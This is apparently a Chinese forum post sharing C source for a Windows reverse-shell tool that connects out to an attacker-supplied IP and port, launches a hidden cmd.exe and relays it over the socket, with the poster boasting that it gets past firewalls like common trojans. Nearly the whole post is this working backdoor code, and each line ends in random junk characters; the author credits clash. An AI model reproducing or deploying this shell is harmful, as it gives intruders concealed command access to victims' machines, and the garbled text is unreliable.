这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f7}"lG]q
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/* ============================== H'RL62!
Rebound port in Windows NT 6*GjP ;S=
By wind,2006/7 Mu_i$j$vvP
===============================*/ T#:F]=
#include vd#,DU=p!
#include 2>S~I"o0
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#pragma comment(lib,"wsock32.lib") ")s!L"x
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void OutputShell(); HW=xvA+
SOCKET sClient; "C%!8`K{a*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D1,O:+[;.
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void main(int argc,char **argv) b`cYpcs
{ |pZo2F!.
WSADATA stWsaData; gvli %9n
int nRet; d&:H&o)T!
SOCKADDR_IN stSaiClient,stSaiServer; >Pe:I
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if(argc != 3) AZFWuPJo
{ |U[y_Y\a
printf("Useage:\n\rRebound DestIP DestPort\n"); #_Ea[q7v
return; ^o<:;{
} SA6hbcYk
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WSAStartup(MAKEWORD(2,2),&stWsaData); @%i>XAe#0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nR5bs;gk"
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stSaiClient.sin_family = AF_INET; ;np_%?is
stSaiClient.sin_port = htons(0); i8V0Ty4~N
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]S8LY.Az5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G=M] 8+h
{ !awh*Xj6
printf("Bind Socket Failed!\n"); Oo%!>!Lt,
return; 3
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} sV0Z
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stSaiServer.sin_family = AF_INET; <4F7@q,V
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xi {|
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }F{=#Kqn^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;cSGlE |
{ MUof=EJg>u
printf("Connect Error!"); +}!DP~y+
return; }X1.Wt=?
} M|CrBJv+F
OutputShell(); 2tr
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} 9\51Z:>
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void OutputShell() C@@$"}%v2
{ AF#_nK)@
char szBuff[1024]; O.:I,D&]
SECURITY_ATTRIBUTES stSecurityAttributes; `!c,y~r[
OSVERSIONINFO stOsversionInfo; .K9l*-e[=
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cqQRU
STARTUPINFO stStartupInfo; 'XfgBJF=
char *szShell; *m_93J
PROCESS_INFORMATION stProcessInformation; Fn,k!q
unsigned long lBytesRead; vnsSy 33K
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cb+y9wA
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); z}5<$K_U
stSecurityAttributes.lpSecurityDescriptor = 0; )bW5yG!
stSecurityAttributes.bInheritHandle = TRUE; fcAIg(vW
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5-p.MGso
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CX+9R3pa
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ltEF:{mLe#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {'IFWD. 5
stStartupInfo.wShowWindow = SW_HIDE; {% F`%_{"
stStartupInfo.hStdInput = hReadPipe; npj/7nZj
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ##~!M(c
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GetVersionEx(&stOsversionInfo); EhXiv#CZ
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switch(stOsversionInfo.dwPlatformId) WFh@%j
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case 1: 6GOg_P
szShell = "command.com"; $r"A@69^RS
break; wW()Zy0)
default: xKW"X
szShell = "cmd.exe"; "-U3=+
break; ~PYFYjHC
} F"BL#g66
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v |ifI
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send(sClient,szMsg,77,0); u{+!&
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while(1) 9r8D*PvS
{ t&f" jPu>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6K//1U$
if(lBytesRead) Q [:<S/w
{ R9=K(pOT
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e`ex]py<C
send(sClient,szBuff,lBytesRead,0); "UpOY
} hZ o5p&b
else $`Rxn*}V4#
{ V2QW\2@$
lBytesRead=recv(sClient,szBuff,1024,0); @Z=wE3T@
if(lBytesRead<=0) break; QRagz,c
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 96)v#B?p
} >t,O2~
} YE_6OLW
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return; {_Np<r;j<
}